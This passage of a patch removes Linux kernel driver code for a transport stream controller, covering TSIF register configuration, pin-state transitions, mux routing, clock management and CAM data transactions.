TSC_IRQ_ENA); +- SET_BIT(CAM_IRQ_RATE_MISMATCH_OFFS, ena_reg); +- writel_relaxed(ena_reg, tsc_device->base + TSC_IRQ_ENA); +- +- spin_unlock_irqrestore(&tsc_mux->spinlock, flags); +-} +- +-/** +- * tsc_config_tsif() - Modifying TSIF configuration. +- * +- * @tsc_mux: TSC Mux device. +- * @tsif_params: TSIF parameters received from the user-space via IOCTL. +- * +- * Update the specified TSIF parameters according to the values in tsif_params. +- * The update is done by modifying a HW register. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_config_tsif(struct tsc_mux_chdev *tsc_mux, +- struct tsc_tsif_params *tsif_params) +-{ +- int ret = 0; +- u32 reg; +- int reg_internal_offs; +- u32 reg_addr_offs; +- +- switch (tsif_params->source) { +- case TSC_SOURCE_EXTERNAL0: +- reg_internal_offs = 0; +- reg_addr_offs = TSC_IN_IFC_EXT; +- break; +- case TSC_SOURCE_EXTERNAL1: +- reg_internal_offs = 16; +- reg_addr_offs = TSC_IN_IFC_EXT; +- break; +- case TSC_SOURCE_INTERNAL: +- reg_internal_offs = 0; +- reg_addr_offs = TSC_IN_IFC_CFG_INT; +- break; +- case TSC_SOURCE_CICAM: +- reg_internal_offs = 16; +- reg_addr_offs = TSC_IN_IFC_CFG_INT; +- break; +- default: +- pr_err("%s: unidentified source parameter\n", __func__); +- ret = -EINVAL; +- goto err; +- } +- +- +- reg = readl_relaxed(tsc_device->base + reg_addr_offs); +- +- /* Modifying TSIF settings in the register value */ +- (tsif_params->clock_polarity ? +- SET_BIT((reg_internal_offs + TSIF_CLK_POL_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_CLK_POL_OFFS), reg)); +- (tsif_params->data_polarity ? +- SET_BIT(((reg_internal_offs + TSIF_DATA_POL_OFFS)), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_DATA_POL_OFFS), reg)); +- (tsif_params->start_polarity ? +- SET_BIT((reg_internal_offs + TSIF_START_POL_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_START_POL_OFFS), reg)); +- (tsif_params->valid_polarity ? +- SET_BIT((reg_internal_offs + TSIF_VALID_POL_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_VALID_POL_OFFS), reg)); +- (tsif_params->error_polarity ? +- SET_BIT((reg_internal_offs + TSIF_ERROR_POL_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_ERROR_POL_OFFS), reg)); +- (tsif_params->data_type ? +- SET_BIT((reg_internal_offs + TSIF_SER_PAR_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_SER_PAR_OFFS), reg)); +- reg &= ~(0x3 << TSIF_REC_MODE_OFFS); +- reg |= (tsif_params->receive_mode << TSIF_REC_MODE_OFFS); +- (tsif_params->data_swap ? +- SET_BIT((reg_internal_offs + TSIF_DATA_SWAP_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_DATA_SWAP_OFFS), reg)); +- (tsif_params->set_error ? +- SET_BIT((reg_internal_offs + TSIF_ERR_INSERT_OFFS), reg) : +- CLEAR_BIT((reg_internal_offs + TSIF_ERR_INSERT_OFFS), reg)); +- +- /* Writing the new settings to the register */ +- writel_relaxed(reg, tsc_device->base + reg_addr_offs); +- +-err: +- return ret; +-} +- +-/** +- * tsc_suspend_ts_pins() - Suspend TS-in pins +- * +- * @source: The TSIF to configure. +- * +- * Config the TLMM pins of a TSIF as TS-in pins in sleep state according to +- * the current pinctrl configuration of the other pins. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_suspend_ts_pins(enum tsc_source source) +-{ +- int ret = 0; +- struct pinctrl_info *ppinctrl = &tsc_device->pinctrl_info; +- struct pinctrl_current_state *pcurr_state = &ppinctrl->curr_state; +- +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (source == TSC_SOURCE_EXTERNAL0) { +- if (!ppinctrl->is_ts0) { +- pr_err("%s: No TS0-in pinctrl definitions were found in the TSC devicetree\n", +- __func__); +- mutex_unlock(&tsc_device->mutex); +- return -EPERM; +- } +- +- /* Transition from current pinctrl state to curr + ts0 sleep */ +- switch (pcurr_state->pcmcia_state) { +- case PCMCIA_STATE_DISABLE: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->disable); +- break; +- case PCMCIA_STATE_PC_CARD: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_pc_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->pc_card); +- break; +- case PCMCIA_STATE_CI_CARD: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_card); +- break; +- case PCMCIA_STATE_CI_PLUS: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_plus); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_plus); +- break; +- } +- } else { /* source == TSC_SOURCE_EXTERNAL1 */ +- if (!ppinctrl->is_ts1) { +- pr_err("%s: No TS1-in pinctrl definitions were found in the TSC devicetree\n", +- __func__); +- mutex_unlock(&tsc_device->mutex); +- return -EPERM; +- } +- +- /* Transition from current pinctrl state to curr + ts1 sleep */ +- switch (pcurr_state->pcmcia_state) { +- case PCMCIA_STATE_DISABLE: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->disable); +- break; +- case PCMCIA_STATE_PC_CARD: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_pc_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->pc_card); +- break; +- case PCMCIA_STATE_CI_CARD: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_card); +- break; +- case PCMCIA_STATE_CI_PLUS: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_plus); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_plus); +- break; +- } +- } +- +- if (ret != 0) { +- pr_err("%s: error disabling TS-in pins. ret value = %d\n", +- __func__, ret); +- mutex_unlock(&tsc_device->mutex); +- return -EINVAL; +- } +- +- /* Update the current pinctrl state in the internal struct */ +- if (source == TSC_SOURCE_EXTERNAL0) +- pcurr_state->ts0 = false; +- else +- pcurr_state->ts1 = false; +- +- mutex_unlock(&tsc_device->mutex); +- +- return 0; +-} +- +-/** +- * tsc_activate_ts_pins() - Activate TS-in pins +- * +- * @source: The TSIF to configure. +- * +- * Config the TLMM pins of a TSIF as TS-in pins in active state according to +- * the current pinctrl configuration of the other pins +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_activate_ts_pins(enum tsc_source source) +-{ +- int ret = 0; +- struct pinctrl_info *ppinctrl = &tsc_device->pinctrl_info; +- struct pinctrl_current_state *pcurr_state = &ppinctrl->curr_state; +- +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (source == TSC_SOURCE_EXTERNAL0) { +- if (!ppinctrl->is_ts0) { +- pr_err("%s: No TS0-in pinctrl definitions were found in the TSC devicetree\n", +- __func__); +- mutex_unlock(&tsc_device->mutex); +- return -EPERM; +- } +- +- /* Transition from current pinctrl state to curr + ts0 active */ +- switch (pcurr_state->pcmcia_state) { +- case PCMCIA_STATE_DISABLE: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0); +- break; +- case PCMCIA_STATE_PC_CARD: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_pc_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_pc_card); +- break; +- case PCMCIA_STATE_CI_CARD: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_card); +- break; +- case PCMCIA_STATE_CI_PLUS: +- if (pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_plus); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_plus); +- break; +- } +- } else { /* source == TSC_SOURCE_EXTERNAL1 */ +- if (!ppinctrl->is_ts1) { +- pr_err("%s: No TS1-in pinctrl definitions were found in the TSC devicetree\n", +- __func__); +- mutex_unlock(&tsc_device->mutex); +- return -EPERM; +- } +- +- /* Transition from current pinctrl state to curr + ts1 active */ +- switch (pcurr_state->pcmcia_state) { +- case PCMCIA_STATE_DISABLE: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1); +- break; +- case PCMCIA_STATE_PC_CARD: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_pc_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_pc_card); +- break; +- case PCMCIA_STATE_CI_CARD: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_card); +- break; +- case PCMCIA_STATE_CI_PLUS: +- if (pcurr_state->ts0) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_plus); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_plus); +- break; +- } +- } +- +- if (ret != 0) { +- pr_err("%s: error activating TS-in pins. ret value = %d\n", +- __func__, ret); +- mutex_unlock(&tsc_device->mutex); +- return -EINVAL; +- } +- +- /* Update the current pinctrl state in the internal struct */ +- if (source == TSC_SOURCE_EXTERNAL0) +- pcurr_state->ts0 = true; +- else +- pcurr_state->ts1 = true; +- +- mutex_unlock(&tsc_device->mutex); +- +- return 0; +-} +- +-/** +- * tsc_enable_disable_tsif() - Enable/disable a TSIF. +- * +- * @tsc_mux: TSC Mux device. +- * @source: The TSIF to enable or disable. +- * @operation: The operation to perform: 0- enable, 1- disable. +- * +- * Enable or disable the specified TSIF, which consequently will block the TS +- * flowing through this TSIF. The update is done by modifying a HW register. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_enable_disable_tsif(struct tsc_mux_chdev *tsc_mux, +- enum tsc_source source, int operation) +-{ +- int ret = 0; +- u32 reg; +- u32 addr_offs; +- int reg_offs; +- int curr_disable_state; +- +- switch (source) { +- case TSC_SOURCE_EXTERNAL0: +- reg_offs = 0; +- addr_offs = TSC_IN_IFC_EXT; +- break; +- case TSC_SOURCE_EXTERNAL1: +- reg_offs = 16; +- addr_offs = TSC_IN_IFC_EXT; +- break; +- case TSC_SOURCE_INTERNAL: +- reg_offs = 0; +- addr_offs = TSC_IN_IFC_CFG_INT; +- break; +- case TSC_SOURCE_CICAM: +- reg_offs = 16; +- addr_offs = TSC_IN_IFC_CFG_INT; +- break; +- default: +- pr_err("%s: unidentified source parameter\n", __func__); +- ret = -EINVAL; +- return ret; +- } +- +- /* Reading the current enable/disable state from the register */ +- reg = readl_relaxed(tsc_device->base + addr_offs); +- curr_disable_state = GETL_BITS(reg, TSIF_DISABLE_OFFS + reg_offs, +- TSIF_DISABLE_OFFS + reg_offs); +- /* If the current state equals the new state- return success */ +- if (curr_disable_state == operation) +- return ret; +- +- if (operation == TSIF_INPUT_DISABLE) { +- if (source == TSC_SOURCE_EXTERNAL0 || +- source == TSC_SOURCE_EXTERNAL1) { +- /* Disabling the TS-in pins in the TLMM */ +- ret = tsc_suspend_ts_pins(source); +- if (ret != 0) { +- pr_err("%s: Error suspending TS-in pins", +- __func__); +- return ret; +- } +- } +- SET_BIT((reg_offs + TSIF_DISABLE_OFFS), reg); +- } else { +- if (source == TSC_SOURCE_EXTERNAL0 || +- source == TSC_SOURCE_EXTERNAL1) { +- /* Enabling the TS-in pins in the TLMM */ +- ret = tsc_activate_ts_pins(source); +- if (ret != 0) { +- pr_err("%s: Error activating TS-in pins", +- __func__); +- return ret; +- } +- } +- CLEAR_BIT((reg_offs + TSIF_DISABLE_OFFS), reg); +- } +- +- /* Writing back to the reg the enable/disable of the TSIF */ +- writel_relaxed(reg, tsc_device->base + addr_offs); +- +- return ret; +-} +- +-/** +- * tsc_route_mux() - Configuring one of the TSC muxes. +- * +- * @tsc_mux: TSC Mux device. +- * @source: The requested TS source to be selected by the mux. +- * @dest: The requested mux. +- * +- * Configuring the specified mux to pass the TS indicated by the src parameter. +- * The update is done by modifying a HW register. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_route_mux(struct tsc_mux_chdev *tsc_mux, enum tsc_source source, +- enum tsc_dest dest) +-{ +- int ret = 0; +- u32 mux_cfg_reg; +- int src_val; +- +- switch (source) { +- case TSC_SOURCE_EXTERNAL0: +- src_val = MUX_EXTERNAL_DEMOD_0; +- break; +- case TSC_SOURCE_EXTERNAL1: +- src_val = MUX_EXTERNAL_DEMOD_1; +- break; +- case TSC_SOURCE_INTERNAL: +- src_val = MUX_INTERNAL_DEMOD; +- break; +- case TSC_SOURCE_CICAM: +- src_val = MUX_CICAM; +- break; +- default: +- pr_err("%s: unidentified source parameter\n", __func__); +- ret = -EINVAL; +- goto err; +- } +- +- /* Reading the current muxes state, to change only the requested mux */ +- mux_cfg_reg = readl_relaxed(tsc_device->base + TSC_MUX_CFG); +- +- switch (dest) { +- case TSC_DEST_TSPP0: +- mux_cfg_reg &= ~(0x3 << MUX0_OFFS); +- mux_cfg_reg |= (src_val << MUX0_OFFS); +- break; +- case TSC_DEST_TSPP1: +- mux_cfg_reg &= ~(0x3 << MUX1_OFFS); +- mux_cfg_reg |= (src_val << MUX1_OFFS); +- break; +- case TSC_DEST_CICAM: +- if (src_val == TSC_SOURCE_CICAM) { +- pr_err("%s: Error: CICAM cannot be source and dest\n", +- __func__); +- ret = -EINVAL; +- goto err; +- } +- mux_cfg_reg &= ~(0x3 << MUX_CAM_OFFS); +- mux_cfg_reg |= (src_val << MUX_CAM_OFFS); +- break; +- default: +- pr_err("%s: unidentified dest parameter\n", __func__); +- ret = -EINVAL; +- goto err; +- } +- +- writel_relaxed(mux_cfg_reg, tsc_device->base + TSC_MUX_CFG); +- +-err: +- return ret; +-} +- +-/** +- * is_tsc_idle() - Checking if TSC is idle. +- * +- * @tsc_ci: TSC CI device. +- * +- * Reading the TSC state-machine register and checking if the TSC is busy in +- * one of the operations reflected by this register. +- * +- * Return true if the TSC is idle and false if it's busy. +- */ +-static bool is_tsc_idle(struct tsc_ci_chdev *tsc_ci) +-{ +- u32 fsm_reg; +- +- fsm_reg = readl_relaxed(tsc_device->base + TSC_FSM_STATE); +- if (GETL_BITS(fsm_reg, FSM_STATE_BUFFER_BEG, FSM_STATE_BUFFER_END) || +- GETL_BITS(fsm_reg, FSM_STATE_POLL_BEG, FSM_STATE_POLL_END) || +- GETL_BITS(fsm_reg, FSM_STATE_BYTE_BEG, FSM_STATE_BYTE_END) || +- GETL_BITS(fsm_reg, FSM_STATE_MEM_WR_BEG, +- FSM_STATE_MEM_WR_END) || +- GETL_BITS(fsm_reg, FSM_STATE_MEM_RD_BEG, +- FSM_STATE_MEM_RD_END) || +- GETL_BITS(fsm_reg, FSM_STATE_IO_RD_BEG, FSM_STATE_IO_RD_END) || +- GETL_BITS(fsm_reg, FSM_STATE_IO_WR_BEG, FSM_STATE_IO_WR_END) || +- tsc_ci->data_busy) +- return false; +- +- tsc_ci->data_busy = true; +- +- return true; +-} +- +- +-/** +- * tsc_power_on_buff_mode_clocks() - power-on the TSPP2 and VBIF clocks. +- * +- * Power-on the TSPP2 and the VBIF clocks required for buffer mode transaction. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_power_on_buff_mode_clocks(void) +-{ +- int ret = 0; +- +- ret = clk_prepare_enable(tsc_device->tspp2_core_clk); +- if (ret != 0) { +- pr_err("%s: Can't start tspp2_core_clk", __func__); +- goto err_tspp2; +- } +- ret = clk_prepare_enable(tsc_device->vbif_tspp2_clk); +- if (ret != 0) { +- pr_err("%s: Can't start vbif_tspp2_clk", __func__); +- goto err_vbif_tspp2; +- } +- ret = clk_prepare_enable(tsc_device->vbif_ahb_clk); +- if (ret != 0) { +- pr_err("%s: Can't start vbif_ahb_clk", __func__); +- goto err_vbif_ahb; +- } +- ret = clk_prepare_enable(tsc_device->vbif_axi_clk); +- if (ret != 0) { +- pr_err("%s: Can't start vbif_axi_clk", __func__); +- goto err_vbif_axi; +- } +- +- return ret; +- +-err_vbif_axi: +- clk_disable_unprepare(tsc_device->vbif_ahb_clk); +-err_vbif_ahb: +- clk_disable_unprepare(tsc_device->vbif_tspp2_clk); +-err_vbif_tspp2: +- clk_disable_unprepare(tsc_device->tspp2_core_clk); +-err_tspp2: +- return ret; +-} +- +-/** +- * tsc_power_off_buff_mode_clocks() - power-off the SPP2 and VBIF clocks. +- * +- * Power-off the TSPP2 and the VBIF clocks required for buffer mode transaction. +- */ +-static void tsc_power_off_buff_mode_clocks(void) +-{ +- clk_disable_unprepare(tsc_device->vbif_axi_clk); +- clk_disable_unprepare(tsc_device->vbif_ahb_clk); +- clk_disable_unprepare(tsc_device->tspp2_core_clk); +- clk_disable_unprepare(tsc_device->vbif_tspp2_clk); +-} +- +-/** +- * tsc_config_cam_data_transaction() - Configuring a new data transaction. +- * +- * @addr_size: The value for the address_size register field- address when +- * using single byte-mode, and size when using buffer mode. +- * @wr_data: the value for the wr_data register field- data to write to the +- * cam when using single byte mode. +- * @io_mem: The value for the io_mem register field- 1 for IO transaction, +- * 0 for memory transaction. +- * @read_write: The value for the read_write register field- 1 for read +- * transaction, 0 for write transaction. +- * @buff_mode: The value for the buff_mode register field- 1 for buffer mode, +- * 0 for single byte mode. +- * +- * Configuring the cam cmd register with the specified parameters, to initiate +- * data transaction with the cam. +- */ +-static void tsc_config_cam_data_transaction(u16 addr_size, +- u8 wr_data, +- uint io_mem, +- uint read_write, +- uint buff_mode) +-{ +- u32 cam_cmd_reg = 0; +- +- cam_cmd_reg |= (addr_size << CAM_CMD_ADDR_SIZE_OFFS); +- cam_cmd_reg |= (wr_data << CAM_CMD_WR_DATA_OFFS); +- cam_cmd_reg |= (io_mem << CAM_CMD_IO_MEM_OFFS); +- cam_cmd_reg |= (read_write << CAM_CMD_RD_WR_OFFS); +- cam_cmd_reg |= (buff_mode << CAM_CMD_BUFF_MODE_OFFS); +- writel_relaxed(cam_cmd_reg, tsc_device->base + TSC_CAM_CMD); +-} +- +-/** +- * tsc_data_transaction() - Blocking function that manage the data transactions. +- * +- * @tsc_ci: TSC CI device. +- * @io_mem: The value for the io_mem register field- 1 for IO transaction, +- * 0 for memory transaction. +- * @read_write: The value for the read_write register field- 1 for read +- * transaction, 0 for write transaction. +- * @buff_mode: The value for the buff_mode register field- 1 for buffer mode, +- * 0 for single byte mode. +- * @arg: The argument received from the user-space via a data transaction +- * IOCTL. It is from one of the two following types: +- * "struct tsc_single_byte_mode" and "struct tsc_buffer_mode". +- * +- * Receiving the transaction paramters from the user-space. Configure the HW +- * registers to initiate a data transaction with the cam. Wait for an +- * interrupt indicating the transaction is over and return the the data read +- * from the cam in case of single-byte read transaction. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_data_transaction(struct tsc_ci_chdev *tsc_ci, uint io_mem, +- uint read_write, uint buff_mode, unsigned long arg) +-{ +- struct tsc_single_byte_mode arg_byte; +- struct tsc_buffer_mode arg_buff; +- u16 addr_size; +- u8 wr_data; +- uint timeout; +- u32 cam_cmd_reg; +- struct ion_handle *ion_handle = NULL; +- ion_phys_addr_t iova = 0; +- unsigned long buffer_size = 0; +- unsigned long flags = 0; +- int ret = 0; +- +- if (!arg) +- return -EINVAL; +- +- /* make sure the tsc is in idle state before configuring the cam */ +- if (!is_tsc_idle(tsc_ci)) { +- ret = -EBUSY; +- goto finish; +- } +- +- INIT_COMPLETION(tsc_ci->transaction_finish); +- +- /* copying data from the ioctl parameter */ +- if (buff_mode == SINGLE_BYTE_MODE) { +- if (copy_from_user(&arg_byte, (void *)arg, +- sizeof(struct tsc_single_byte_mode))) { +- ret = -EFAULT; +- goto err_copy_arg; +- } +- addr_size = arg_byte.address; +- if (IO_TRANSACTION == io_mem && +- addr_size > CICAM_MAX_ADDRESS) { +- pr_err("%s: wrong address parameter: %d\n", __func__, +- addr_size); +- ret = -EFAULT; +- goto err_copy_arg; +- } +- wr_data = arg_byte.data; +- timeout = arg_byte.timeout; +- } else { +- if (copy_from_user(&arg_buff, (void *)arg, +- sizeof(struct tsc_buffer_mode))) { +- ret = -EFAULT; +- goto err_copy_arg; +- } +- addr_size = arg_buff.buffer_size; +- if (!addr_size) { +- pr_err("%s: size parameter is 0\n", __func__); +- ret = -EFAULT; +- goto err_copy_arg; +- } +- wr_data = 0; +- timeout = arg_buff.timeout; +- +- /* import ion handle from the ion fd passed from user-space */ +- ion_handle = ion_import_dma_buf +- (tsc_device->iommu_info.ion_client, arg_buff.buffer_fd); +- if (IS_ERR_OR_NULL(ion_handle)) { +- pr_err("%s: get_ION_handle failed\n", __func__); +- ret = -EIO; +- goto err_ion_handle; +- } +- +- /* +- * mapping the ion handle to the VBIF and get the virtual +- * address +- */ +- ret = ion_map_iommu(tsc_device->iommu_info.ion_client, +- ion_handle, tsc_device->iommu_info.domain_num, +- tsc_device->iommu_info.partition_num, SZ_4K, +- 0, &iova, &buffer_size, 0, 0); +- +- if (ret != 0) { +- pr_err("%s: get_ION_kernel physical addr fail\n", +- __func__); +- goto err_ion_map; +- } +- +- /* +- * writing the buffer virtual address to the register for buffer +- * address of buffer mode +- */ +- if (read_write == READ_TRANSACTION) +- writel_relaxed(iova, +- tsc_device->base + TSC_RD_BUFF_ADDR); +- else /* write transaction */ +- writel_relaxed(iova, +- tsc_device->base + TSC_WR_BUFF_ADDR); +- } +- +- /* configuring the cam command register */ +- tsc_config_cam_data_transaction(addr_size, wr_data, io_mem, read_write, +- buff_mode); +- +- /* +- * This function assume the mutex is locked before calling the function, +- * so mutex has to be unlocked before going to sleep when waiting for +- * the transaction. +- */ +- mutex_unlock(&tsc_ci->mutex); +- /* waiting for EOT interrupt or timeout */ +- if (!wait_for_completion_timeout(&tsc_ci->transaction_complete, +- msecs_to_jiffies(timeout))) { +- pr_err("%s: Error: wait for transaction timed-out\n", __func__); +- ret = -ETIMEDOUT; +- mutex_lock(&tsc_ci->mutex); +- /* Aborting the transaction if it's buffer mode */ +- if (buff_mode) { +- cam_cmd_reg = readl_relaxed(tsc_device->base + +- TSC_CAM_CMD); +- SET_BIT(CAM_CMD_ABORT, cam_cmd_reg); +- writel_relaxed(cam_cmd_reg, tsc_device->base + +- TSC_CAM_CMD); +- } +- goto finish; +- } +- mutex_lock(&tsc_ci->mutex); +- +- /* Checking if transaction ended with error */ +- spin_lock_irqsave(&tsc_ci->spinlock, flags); +- if (tsc_ci->transaction_state == TRANSACTION_ERROR) { +- tsc_ci->transaction_state = BEFORE_TRANSACTION; +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- pr_err("%s: Transaction error\n", __func__); +- ret = -EBADE; /* Invalid exchange error code */ +- goto finish; +- } else if (tsc_ci->transaction_state == TRANSACTION_CARD_REMOVED) { +- tsc_ci->transaction_state = BEFORE_TRANSACTION; +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- pr_err("%s: Card was removed during the transaction. Aborting\n", +- __func__); +- ret = -ECONNABORTED; +- /* Aborting the transaction if it's buffer mode */ +- if (buff_mode) { +- cam_cmd_reg = readl_relaxed(tsc_device->base + +- TSC_CAM_CMD); +- SET_BIT(CAM_CMD_ABORT, cam_cmd_reg); +- writel_relaxed(cam_cmd_reg, tsc_device->base + +- TSC_CAM_CMD); +- } +- goto finish; +- } +- +- /* reseting the argument after reading the interrupt type */ +- tsc_ci->transaction_state = BEFORE_TRANSACTION; +- spin_unlock_irqrestore(&tsc_ci->spinlock, flags); +- +- /* +- * Only on case of read single byte operation, we need to copy the data +- * to the arg data field +- */ +- if (buff_mode == SINGLE_BYTE_MODE && read_write == READ_TRANSACTION) +- ret = put_user(readl_relaxed(tsc_device->base + +- TSC_CAM_RD_DATA), +- &((struct tsc_single_byte_mode *)arg)->data); +- +-finish: +- if (iova != 0) +- ion_unmap_iommu(tsc_device->iommu_info.ion_client, ion_handle, +- tsc_device->iommu_info.domain_num, +- tsc_device->iommu_info.partition_num); +-err_ion_map: +- if (!IS_ERR_OR_NULL(ion_handle)) +- ion_free(tsc_device->iommu_info.ion_client, ion_handle); +-err_ion_handle: +-err_copy_arg: +- tsc_ci->data_busy = false; +- INIT_COMPLETION(tsc_ci->transaction_complete); +- complete_all(&tsc_ci->transaction_finish); +- return ret; +-} +- +-/** +- * tsc_personality_change() - change the PCMCIA pins state. +- * +- * @pcmcia_state: The new state of the PCMCIA pins. +- * +- * Configure the TLMM pins of the PCMCIA according to received state and +- * the current pinctrl configuration of the other pins. This function assums the +- * PCMCIA pinctrl definitions were successfully parsed from the devicetree (this +- * check is done at open device). +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_personality_change(enum tsc_cam_personality pcmcia_state) +-{ +- int ret = 0; +- struct pinctrl_info *ppinctrl = &tsc_device->pinctrl_info; +- struct pinctrl_current_state *pcurr_state = &ppinctrl->curr_state; +- u32 reg = 0; +- +- if (mutex_lock_interruptible(&tsc_device->mutex)) +- return -ERESTARTSYS; +- +- if (pcmcia_state == (enum tsc_cam_personality)pcurr_state->pcmcia_state) +- goto exit; +- +- /* Transition from current pinctrl state to curr + new pcmcia state */ +- switch (pcmcia_state) { +- case TSC_CICAM_PERSONALITY_CI: +- if (pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_card); +- else if (pcurr_state->ts0 && !pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_card); +- else if (!pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_card); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_card); +- break; +- case TSC_CICAM_PERSONALITY_CIPLUS: +- if (pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts_ci_plus); +- else if (pcurr_state->ts0 && !pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0_ci_plus); +- else if (!pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1_ci_plus); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ci_plus); +- break; +- case TSC_CICAM_PERSONALITY_DISABLE: +- if (pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->dual_ts); +- else if (pcurr_state->ts0 && !pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts0); +- else if (!pcurr_state->ts0 && pcurr_state->ts1) +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->ts1); +- else +- ret = pinctrl_select_state(ppinctrl->pinctrl, +- ppinctrl->disable); +- break; +- default: +- pr_err("%s: Wrong personality parameter\n", __func__); +- ret = -EINVAL; +- goto exit; +- } +- +- if (ret != 0) { +- pr_err("%s: error changing PCMCIA pins. ret value = %d\n", +- __func__, ret); +- ret = -EINVAL; +- goto exit; +- } +- +- /* Update the current pcmcia state in the internal struct */ +- pcurr_state->pcmcia_state = (enum pcmcia_state)pcmcia_state; +- +- /* +- * Setting CAM TSIF OE to enable I/O transactions for CI/+ cards +- * or clearing it when moving to disable state +- */ +- if (TSC_CICAM_PERSONALITY_CI == pcmcia_state || +- TSC_CICAM_PERSONALITY_CIPLUS == pcmcia_state) { +- SET_BIT(TSC_CICAM_TSIF_OE_OFFS, reg); +- writel_relaxed(reg, tsc_device->base + TSC_CICAM_TSIF); +- } else { +- CLEAR_BIT(TSC_CICAM_TSIF_OE_OFFS, reg); +- writel_relaxed(reg, tsc_device->base + TSC_CICAM_TSIF); +- } +- +-exit: +- mutex_unlock(&tsc_device->mutex); +- return ret; +-} +- +-/** +- * tsc_reset_cam() - HW reset to the CAM. +- * +- * Toggle the reset pin of the pcmcia to make a HW reset. +- * This function assumes that pinctrl_select_state was already called on the +- * reset pin with its active state (happens during personality change). +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tsc_reset_cam(void) +-{ +- int ret; +- int reset_gpio = tsc_device->reset_cam_gpio; +- +- /* Toggle the GPIO to create a reset pulse */ 